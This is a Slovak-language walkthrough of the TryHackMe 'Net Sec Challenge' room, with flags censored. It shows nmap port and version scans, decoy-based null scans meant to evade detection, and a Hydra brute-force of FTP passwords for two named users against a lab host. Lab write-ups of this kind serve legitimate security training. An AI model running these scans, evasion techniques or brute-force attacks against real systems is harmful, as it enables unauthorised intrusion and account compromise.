TryHackMe - Výzva Net Sec
Zábavný a informatívny spôsob, ako zlepšiť znalosti o bezpečnosti siete a zručnosti pri enumerácii pomocou nmap
Úvod
Toto je praktická miestnosť modulu https://tryhackme.com/module/network-security
.
Tento modul je naozaj odporúčaný, naozaj dobré oboznámenie sa s nástrojom nmap a sieťami vo všeobecnosti.
Na nasledujúce otázky môžeme odpovedať pomocou Nmap, Telnetu a Hydry.
Aké je najvyššý otvorený port menší ako 10 000?
Pre túto časť potrebujeme iba základný nmap
sken
1
nmap 10.10.82.60
Odpoveď:
1
8080
Mimo základných 1000 portov je otvorený port; je nad 10 000. Ktorý to je?
Pridáme -p-
, aby nmap prehľadal všetky porty
1
nmap 10.10.82.60 -p-
Odpoveď:
1
10021
Koľko TCP portov je otvorených?
Stačí len spočítať TCP porty z predchádzajúceho nmapu
Odpoveď:
1
6
What is the flag hidden in the HTTP server header?
Použijeme -sC
, ktorý je ekvivalentom --script=default
, ktorý:
- Skontrolujte zraniteľnosti
- Získa bannery bežiacich služieb
- Detekuje nesprávne konfigurácie
-sV
sa pokúsi určiť verziu spustených služieb
-p 80
špecifikujeme port, keďže hľadáme http header, nech skenovanie prebehne rýchlejšie
Odpoveď:
1
THM{CENSORED}
Aká je vlajka, ktorá je skrytá v SSH hlavičke servera?
Takže urobíme to isté, nmap
, ale s -p 22
namiesto 80
1
nmap 10.10.82.60 -sC -sV -p 22
Odpoveď:
1
THM{CENSORED}
Máme FTP server, ktorý počúva na neštandardnom porte. Aká je verzia FTP servera?
Ok, takže môžeme špecifikovať 5-miestny port, na ktorý sme narazili pri skenovaní s flagom -p-
1
nmap 10.10.82.60 -sC -sV -p 10021
Odpoveď:
1
vsftpd 3.0.5
Pomocou sociálneho inžinierstva sme získali dve používateľské mená: eddie a quinn. Aká vlajka je skrytá v jednom z týchto účtov a prístupná cez FTP?
Ok, dostali sme 2 používateľské mená, takže teraz môžeme bruteforcom urobiť nasledovné:
- Vytvoriť zoznam používateľských mien a vpísať doň
eddie
aquinn
- Použiť
hydra
na bruteforce na heslo pomocou zoznamu hesiel zrockyou.txt
1
2
echo 'eddie' > users.txt && echo 'quinn' >> users.txt
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt ftp://10.10.82.60:10021
A môžeme sa pripojiť cez ftp
pomocou prihlasovacích údajov a neštandardného portu 10021
a nájsť vlajku
Takže teraz už len stiahneme a prečítame súbor
Odpoveď:
1
THM{CENSORED}
Prehliadaním stránky http://10.10.82.60:8080 sa zobrazí malá výzva, ktorá vám dá vlajku, keď ju vyriešite. Čo je vlajka?
Zdá sa, že výzvou je zostať čo najmenej rozpoznaný, takže používame nasledujúce flagy:
-D
- návnada, vyzerá to tak, že skenovanie prichádza z viacerých IP adries-sN
posiela TCP pakety bez nastavených flagov (žiadne SYN, ACK, FIN atď.)- Ak je port otvorený, cieľ neodpovedá
- Ak je port zatvorený, cieľ odošle odpoveď RST
⚠️ POZOR - toto NEFUNGUJE proti systémom Windows, pretože systém Windows považuje pakety bez označenia za neplatné a zahodí ich
1
nmap -D 10.10.0.1,10.10.0.2,10.14.99.72 -sN 10.10.82.60
Odpoveď:
1
THM{CENSORED}